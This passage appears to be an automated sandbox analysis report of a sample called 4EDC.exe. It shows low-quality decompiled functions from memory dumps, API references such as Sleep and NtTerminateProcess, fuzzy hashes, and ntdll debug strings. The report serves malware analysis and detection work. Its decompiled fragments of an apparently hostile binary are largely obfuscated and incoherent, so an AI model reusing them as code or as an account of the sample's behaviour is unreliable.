					__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				}
			}

0x00402aeb
0x00402aed
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b0b
0x00402b0b

Memory Dump Source

Source File: 0000000F.00000002.539370502.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction ID: 703404f178dd1594a4d59af797b8ce1b5d4eb18bb8309dbacaae7544c7f15ca3
Opcode Fuzzy Hash: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction Fuzzy Hash: 0A11FE30604106EADF12BE518B5ED7A3335AF10344F2000BBAD02751E1DBFDAB12B61B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 4EDC.exe PID: 5004 Parent PID: 3440 4EDC.exeCOMMON

Executed Functions

Function 004017A3, Relevance: 3.1, APIs: 2, Instructions: 56
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004017A3(signed int __edx, void* __edi, void* __esi, void* __fp0) {

				asm("wait");
				 *(0x7684bd6c + __edx * 4) =  *(0x7684bd6c + __edx * 4) >> 1;
			}

0x004017a6
0x004017aa

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.527855060.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction ID: 5bd60c2b3e8a068e4466346cbc0defb5667620a0c4f183a3ee32389aea7e8ad2
Opcode Fuzzy Hash: aa6c66ade1839c057e54ed95590a2b4f703699917ec1c7b6b3ca2d20bc3bc55b
Instruction Fuzzy Hash: 3E01C033648100EBE700BA909C42E6A3325AF00700F24C137FA53BA1E1C63EDB22975B

Uniqueness

Uniqueness Score: -1.00%

Function 0040181C, Relevance: 3.1, APIs: 2, Instructions: 55
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E0040181C(void* __edx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;
				void* _t24;

				_t19 = __edx;
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, _t20, _t21, _t24);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_push(0x1851);
				asm("les eax, [ebx+ebp*8]");
				_push(0x66);
				__esp = __esp + 4;
				return __eax;
			}

0x0040181c
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x0040188b
0x00401894
0x004018a3
0x004018a8
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.527855060.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction ID: 0d4c73ff1a25ccc0af209e25dff701d5f0484e4d803941be834223819e423ed0
Opcode Fuzzy Hash: 9681a1767b4d508f443fed0373f5985461e0c9db55eb61caf3868fd7a20a383e
Instruction Fuzzy Hash: DA019E33608204EBE7007A949D46D6A3329EF04714F24C137FA07791E1D63E9B22A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401828, Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00401828(void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t22;
				void* _t25;

				_t21 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				asm("enter 0xdd16, 0x68");
				_t8 = 0x1851;
				__eax = __eax + 0xf4ebce62;
				__eflags = __eax;
				_push(0x66);
				L0040115A(_t8, __edx, __edi, __esi, _t25);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E004013A0(_t17, _t20, _t21); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L0040146D(_t17, _t19, _t20, _t21); // executed
				}
				 *_t17(); // executed
				asm("les eax, [ebx+ebp*8]");
				__esp = __esp + 4;
				__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
				__edi = 0x66;
				__esi = 0x1851;
				__ebx = 0xffffffff;
				__esp = __ebp;
				__ebp = 0;
				return __eax;
			}

0x00401828
0x00401828
0x00401828
0x00401828
0x00401830
0x00401832
0x00401832
0x0040183d
0x0040184c
0x00401851
0x00401859
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186e
0x00401870
0x00401873
0x00401876
0x00401877
0x00401878
0x00401878
0x00401881
0x00401894
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.527855060.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction ID: b329b9df0df391f908064f7b6fb4b650575042adab4467ec8a7c1b58a8870e1c
Opcode Fuzzy Hash: 42bf2d18fab82c1cf26c6973a5f326e6893aee6dc713cdbf8bdbea5eda66952d
Instruction Fuzzy Hash: F701B533648200EBE700BB909C42E6A37259F04701F248137FA53791E1D63ED722E72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017DA, Relevance: 3.0, APIs: 2, Instructions: 49
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004017DA(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				void* _t31;
				void* _t39;
				signed int _t40;

				L0:
				while(1) {
					_t31 = __edi;
					_t16 = __eax;
					__eax = __esp;
					__esp = _t16;
					_t17 = __eax;
					__eax = _t16;
					__esp = _t17;
					__eax = __edi * 0xffffff88;
					__eflags = __eax;
					if(__eflags >= 0) {
						L21:
						_push(0x66);
						__esp = __esp + 4;
						L23:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						__ebx =  *((intOrPtr*)(__ebp + 8));
						Sleep(0x1388);
						__eax = __ebp - 4;
						_push(__ebp - 4);
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *((intOrPtr*)(__ebp + 0xc)));
						_push(__ebx); // executed
						__eax = E004013A0(__ebx, __edi, __esi); // executed
						__eflags = __eax;
						if(__eax != 0) {
							L24:
							_push( *((intOrPtr*)(__ebp + 0x14)));
							_push( *(__ebp - 4));
							L25:
							_push(__eax);
							_push(__ebx); // executed
							__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
						}
						L26:
						__eax =  *__ebx(0xffffffff, 0); // executed
						L29:
						L27:
						_push(0x1851);
						__eax =  *__esp;
						L28:
						__al = __al & 0x00000083;
						asm("les eax, [ebx+ebp*8]");
						__eax = __eax + 0xefeb0eeb;
						__eflags = __eax;
						L30:
						L35:
						L31:
						_push(0x66);
						L32:
						L33:
						__esp = __esp + 4;
						L34:
						L36:
						__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						__esp = __ebp;
						_pop(__ebp);
						return __eax;
					} else {
						L14:
						_push(0x867f6b6b);
						goto 0x363cf8f5;
						asm("adc byte [esp+edx*4+0x17b0901f], 0x50");
						if(__eflags > 0) {
							L5:
							asm("stosb");
							_t5 = __eax;
							__eax = __esp;
							__esp = _t5;
							asm("loopne 0xffffffbe");
							_pop(ds);
							asm("stosb");
							_pop(ds);
							asm("ficom dword [eax+0x459c7d17]");
							if(__eflags < 0) {
								L6:
								_push(__edx);
								asm("pushfd");
								asm("movsd");
								_push(__esp);
								asm("repne cmp [0x9494a494], edi");
								asm("loopne 0xffffff9a");
								L7:
								asm("wait");
								_t6 = __eax;
								__eax = __esp;
								__esp = _t6;
								_t7 = __eax;
								__eax = _t6;
								__esp = _t7;
								__eax = __edi;
								__edi = _t6;
								_t10 = 0x7684bd6c + __edx * 4;
								 *_t10 =  *(0x7684bd6c + __edx * 4) >> 1;
								__eflags =  *_t10;
							}
							L8:
							__ebp = 0x7f737684;
						} else {
							L15:
							if (__eflags >= 0) goto L11;
							L16:
							asm("xlatb");
						}
					}
					L37:
				}
				L3:
				_t4 = _t31;
				_t31 = _t39;
				_t39 = _t4;
				if(_t40 > 0) {
					_t2 = _t31 + 0xe;
					 *_t2 =  *(_t31 + 0xe) << 0x4d;
					_t40 =  *_t2;
					asm("cmpsd");
					goto L3;
				}
				return _t31;
				goto L37;
			}

0x004017da
0x004017da
0x004017da
0x004017db
0x004017db
0x004017db
0x004017dc
0x004017dc
0x004017dc
0x004017dd
0x004017dd
0x004017e0
0x0040183d
0x0040183d
0x00401842
0x0040184c
0x0040184c
0x00401851
0x00401859
0x0040185c
0x0040185f
0x00401860
0x00401863
0x00401866
0x00401867
0x0040186c
0x0040186e
0x00401870
0x00401870
0x00401873
0x00401876
0x00401876
0x00401877
0x00401878
0x00401878
0x0040187d
0x00401881
0x0040189a
0x0040188b
0x0040188b
0x00401890
0x00401892
0x00401892
0x00401894
0x00401897
0x00401897
0x0040189d
0x004018af
0x004018a3
0x004018a3
0x004018a4
0x004018a8
0x004018a8
0x004018ab
0x004018b2
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017e2
0x004017e2
0x004017e2
0x004017e7
0x004017ec
0x004017f5
0x00401788
0x00401788
0x00401789
0x00401789
0x00401789
0x0040178a
0x0040178c
0x0040178d
0x0040178e
0x0040178f
0x00401795
0x00401797
0x00401797
0x00401798
0x00401799
0x0040179a
0x0040179b
0x004017a2
0x004017a3
0x004017a6
0x004017a7
0x004017a7
0x004017a7
0x004017a8
0x004017a8
0x004017a8
0x004017a9
0x004017a9
0x004017aa
0x004017aa
0x004017aa
0x004017aa
0x004017ae
0x004017ae
0x004017f7
0x004017f7
0x004017f7
0x004017f8
0x004017f8
0x004017f8
0x004017f5
0x00000000
0x004017e0
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x00401771
0x00000000
0x00401771
0x00401775
0x00000000

APIs

Sleep.KERNELBASE(00001388), ref: 00401859
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.527855060.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction ID: a894bf59af688e7f2aefbaf232239d4a7e11f6dbdc9ab261776b6b6844387aa1
Opcode Fuzzy Hash: 28b29540905efe5db8ff2bd5dd41cd95d97ba45c28065df784f5026ed89a0097
Instruction Fuzzy Hash: 0A018432644201EBEB00BA909D42D6E3325AF44714F248137FA17BA1E1D63EDB22976B

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E004017F8(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t30;
				void* _t37;
				signed int _t39;

				L0:
				while(1) {
					_t30 = __eax;
					asm("xlatb");
					__eax =  *__edi * 8;
					__eflags = __eax;
					_t12 = __eax;
					__eax = __esp;
					__esp = _t12;
					_t13 = __eax;
					__eax = _t12;
					__esp = _t13;
					__eax = _t13;
					__esp = _t12;
					if(__eflags > 0) {
						L2:
						asm("cmpsd");
						L3:
						_t3 = _t30;
						_t30 = _t37;
						_t37 = _t3;
						if(_t39 > 0) {
							L1:
							_t1 = _t30 + 0xe;
							 *_t1 =  *(_t30 + 0xe) << 0x4d;
							_t39 =  *_t1;
							goto L2;
						}
						L4:
						return _t30;
					} else {
						L12:
						asm("cld");
						if (__eflags < 0) goto L3;
						L13:
						_t15 = __eax;
						__eax = __edi;
						__edi = _t15;
					}
					L37:
				}
				if(__eflags > 0) {
					__eax = L0040146D(__ebx, __edx, __edi, __esi); // executed
					__eax =  *__ebx(__ebx, __eax); // executed
					__eax =  *__esp;
					__al = __al & 0x00000083;
					asm("les eax, [ebx+ebp*8]");
					__eax = __eax + 0xefeb0eeb;
					__eflags = __eax;
					__esp = __esp + 4;
					__eax = L0040115A(__eax, __edx, __edi, __esi, __eflags);
					__edi = 0x66;
					__esi = 0x1851;
					__ebx = 0xffffffff;
					__esp = __ebp;
					__ebp = 0;
					return __eax;
				} else {
					__bh = __bh &  *(__edi - 0x65);
					asm("clc");
					asm("popfd");
					asm("lodsd");
					asm("enter 0xe0fc, 0x97");
					_t19 = __eax;
					__eax = __esp;
					__esp = _t19;
					_t20 = __eax;
					__eax = _t19;
					__esp = _t20;
					asm("int 0x7f");
					__eax = __ecx;
					__ecx = _t19;
					__bh = 0x7f;
					asm("pushad");
					asm("repne jl 0xffffffd4");
					asm("insd");
					__ebp =  *(__ebx + 0x5f) * 0x5e;
					__eflags = __ebp;
					_pop(__ebx);
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				goto L37;
			}

0x004017f8
0x004017f8
0x004017f8
0x004017f8
0x004017d0
0x004017d0
0x004017d3
0x004017d3
0x004017d3
0x004017d4
0x004017d4
0x004017d4
0x004017d5
0x004017d5
0x004017d6
0x00401771
0x00401771
0x00401772
0x00401772
0x00401772
0x00401772
0x00401773
0x0040176a
0x0040176a
0x0040176a
0x0040176a
0x00000000
0x0040176e
0x00401775
0x00401775
0x004017d8
0x004017d8
0x004017d8
0x004017d9
0x004017da
0x004017da
0x004017da
0x004017da
0x004017da
0x00000000
0x004017d6
0x004017f9
0x00401878
0x00401881
0x00401890
0x00401892
0x00401894
0x00401897
0x00401897
0x004018a8
0x004018b2
0x004018b7
0x004018b8
0x004018b9
0x004018ba
0x004018ba
0x004018bb
0x004017fb
0x004017fb
0x004017fe
0x004017ff
0x00401801
0x00401802
0x00401806
0x00401806
0x00401806
0x00401807
0x00401807
0x00401807
0x00401808
0x0040180a
0x0040180a
0x0040180b
0x0040180e
0x0040180f
0x00401812
0x00401813
0x00401813
0x00401817
0x00401818
0x00401818
0x00401819
0x00401819
0x00000000

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 00401881

Memory Dump Source

Source File: 00000016.00000002.527855060.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction ID: 5d664576ed34e104d60d9d9409068ebedb4ca3d0074abe090f0a839b89efd0e8
Opcode Fuzzy Hash: 24457665454172ec648fb8d2a6e20ed3a66d6914c2e0f3d8e5c3e978159e5634
Instruction Fuzzy Hash: DCF0C233748211DAE205B6599C83B29B3909F11724F24813BE557BB1E2D26E9622525F

Uniqueness

Uniqueness Score: -1.00%

Function 6C04967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6C091C65,000000FF,00000007,?,00000004,00000000,?,?,?,6C091951,00000065,00000000,?,6C090C5E,?,00000000), ref: 6C049694

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fdbb587cdff1367c157c43ff55ab2f600f6411583b545fe19132ae901d08f753
Instruction ID: dfc4246e7365c20d352527662977735be6257ac9a47d192022a9757543e24b37
Opcode Fuzzy Hash: fdbb587cdff1367c157c43ff55ab2f600f6411583b545fe19132ae901d08f753
Instruction Fuzzy Hash: 28B09BB19465C5C7D601E76147087177E9877D0745F56C176D1020681A4778C0D1F5B5

Uniqueness

Uniqueness Score: -1.00%

Function 6C049600, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6a7f6daf3480a8f3215d92ed5986ce00a3f91c547ebd3105118874a638b38ea
Instruction ID: ec2500583d4723a002dceeee216f6ec0915f13b81be5d2b6fb1c0aad1b7fafcf
Opcode Fuzzy Hash: b6a7f6daf3480a8f3215d92ed5986ce00a3f91c547ebd3105118874a638b38ea
Instruction Fuzzy Hash: A99002B120110543D10162594605B4A4A49A7E0341F91C026E0404A54D8595C8B17161

Uniqueness

Uniqueness Score: -1.00%

Function 6C049660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6C0918BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6C0E0810,0000001C,6C091616), ref: 6C04966A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 00e990b95af287d6c9ef522dc6efc0bf87466574fc1f596d9997e01bc3224327
Instruction ID: 7aa70d22c8f59fe134dbf144472ec0354a3b8bb8db69b25f34a3ce2718f4f275
Opcode Fuzzy Hash: 00e990b95af287d6c9ef522dc6efc0bf87466574fc1f596d9997e01bc3224327
Instruction Fuzzy Hash: 869002B120110903D1817159460574A094997D1341FD1C026E0015A54DCA55CAA977E1

Uniqueness

Uniqueness Score: -1.00%

Function 6C049780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6C091A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6C04978A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bdb3a70872a8a37aac50c26605a814a06656cda01036ae580b8fedf55213e9af
Instruction ID: b9ab7c227848e55343d869ec643bbd64d5113239a37f41b2ffe0191e6d24860d
Opcode Fuzzy Hash: bdb3a70872a8a37aac50c26605a814a06656cda01036ae580b8fedf55213e9af
Instruction Fuzzy Hash: 249002A921310103D1817159560970A094997D1242FD1D426E0005958CC955C8B96361

Uniqueness

Uniqueness Score: -1.00%

Function 6C049820, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6C062EA4,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?), ref: 6C04982A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 609bb1d60a63bce6f0ec03dfd248441542a8aa54425828be2b26cb3e2b09a68a
Instruction ID: e75942261c5442108692bba8a53721abaa80aa34cc70438f43422c7ebdacd1c8
Opcode Fuzzy Hash: 609bb1d60a63bce6f0ec03dfd248441542a8aa54425828be2b26cb3e2b09a68a
Instruction Fuzzy Hash: 639002B124110503D14271594605706094DA7D0281FD1C023E0414954E8695CAA6BAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C049860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6C0915BB,00000073,?,00000008,00000000,?,00000568), ref: 6C04986A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6c01c5550b1aa70648afcdf568ae94d5c12f1803e1b34a06d7de62d2a4c69d3a
Instruction ID: ae29433c552ca8d4f7fa0c6628f6467bcc06e879f3a618102f3638784032a40c
Opcode Fuzzy Hash: 6c01c5550b1aa70648afcdf568ae94d5c12f1803e1b34a06d7de62d2a4c69d3a
Instruction Fuzzy Hash: 099002B120110513D11261594705707094D97D0281FD1C423E0414958D9696C9A2B161

Uniqueness

Uniqueness Score: -1.00%

Function 6C0498C0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6C09108E,000000FF,000000FF,000000FF,?,001FFFFF,00000002,00000000,6C0E07D0,00000058,6C090C91,?,00000000,?,00000000), ref: 6C0498CA

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9dbc9033b4fea6530b4775703f0f900416851e0fc227fa18ff3a15a9c140c189
Instruction ID: 51bcad96bf406f36ba70b6325e9e2f824819e0d45ea4181990099b15b6864e9d
Opcode Fuzzy Hash: 9dbc9033b4fea6530b4775703f0f900416851e0fc227fa18ff3a15a9c140c189
Instruction Fuzzy Hash: 3E9002A120110583E10261594605F06194D97E0281FD1C027E1019964D8655C9A2B265

Uniqueness

Uniqueness Score: -1.00%

Function 6C0499A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6C091A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6C0499AA

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ad9948554b6b21a9a3ef5b34f58d5f6c8dad24799eaa6b6fb79f945786d8d855
Instruction ID: 8dea28a12d5f93014685c93f383bad87176457a33f307f4f1dda3843b856c4c2
Opcode Fuzzy Hash: ad9948554b6b21a9a3ef5b34f58d5f6c8dad24799eaa6b6fb79f945786d8d855
Instruction Fuzzy Hash: AB9002E134110543D10161594615B060949D7E1341F91C026E1054954D8659CCA27166

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6C0BB260, Relevance: 91.3, APIs: 22, Strings: 30, Instructions: 262COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000, *** Unhandled exception 0x%08lx, hit in %ws:%s,?,<unknown>,?,6C0E0DD8,00000018,6C0BB5A3,?,6BFE48A4,?,?,6C04B74A,6BFE1650,6C04B627), ref: 6C0BB2E6
DbgPrintEx.1105(00000065,00000000, *** A stack buffer overrun occurred in %ws:%s,<unknown>,?,6C0E0DD8,00000018,6C0BB5A3,?,6BFE48A4,?,?,6C04B74A,6BFE1650,6C04B627,6C04B627), ref: 6C0BB2FD
DbgPrintEx.1105(00000065,00000000,This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.), ref: 6C0BB30C
DbgPrintEx.1105(00000065,00000000,If this bug ends up in the shipping product, it could be a severe security hole.), ref: 6C0BB31B
DbgPrintEx.1105(00000065,00000000,a NULL pointer), ref: 6C0BB4E7
DbgPrintEx.1105(00000065,00000000, *** enter .exr %p for the exception record,?), ref: 6C0BB4F8
DbgPrintEx.1105(00000065,00000000, *** enter .cxr %p for the context,?), ref: 6C0BB514
DbgPrintEx.1105(00000065,00000000, *** then kb to get the faulting stack), ref: 6C0BB523
DbgPrintEx.1105(00000065,00000000, *** Restarting wait on critsec or resource at %p (in %ws:%s),?,?,?), ref: 6C0BB546
RtlReportException.1105(00000000,?,00000000), ref: 6C0BB566

Strings

This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 6C0BB305
write to, xrefs: 6C0BB4A6
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 6C0BB39B
*** enter .exr %p for the exception record, xrefs: 6C0BB4F1
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 6C0BB2DC
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 6C0BB476
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 6C0BB47D
<unknown>, xrefs: 6C0BB27E, 6C0BB2D1, 6C0BB350, 6C0BB399, 6C0BB417, 6C0BB48E
The critical section is owned by thread %p., xrefs: 6C0BB3B9
The instruction at %p tried to %s , xrefs: 6C0BB4B6
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 6C0BB53F
an invalid address, %p, xrefs: 6C0BB4CF
a NULL pointer, xrefs: 6C0BB4E0
This failed because of error %Ix., xrefs: 6C0BB446
The resource is owned shared by %d threads, xrefs: 6C0BB37E
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 6C0BB314
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6C0BB3D6
*** Inpage error in %ws:%s, xrefs: 6C0BB418
The resource is owned exclusively by thread %p, xrefs: 6C0BB374
The instruction at %p referenced memory at %p., xrefs: 6C0BB432
read from, xrefs: 6C0BB4AD, 6C0BB4B2
Go determine why that thread has not released the critical section., xrefs: 6C0BB3C5
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 6C0BB38F
*** Resource timeout (%p) in %ws:%s, xrefs: 6C0BB352
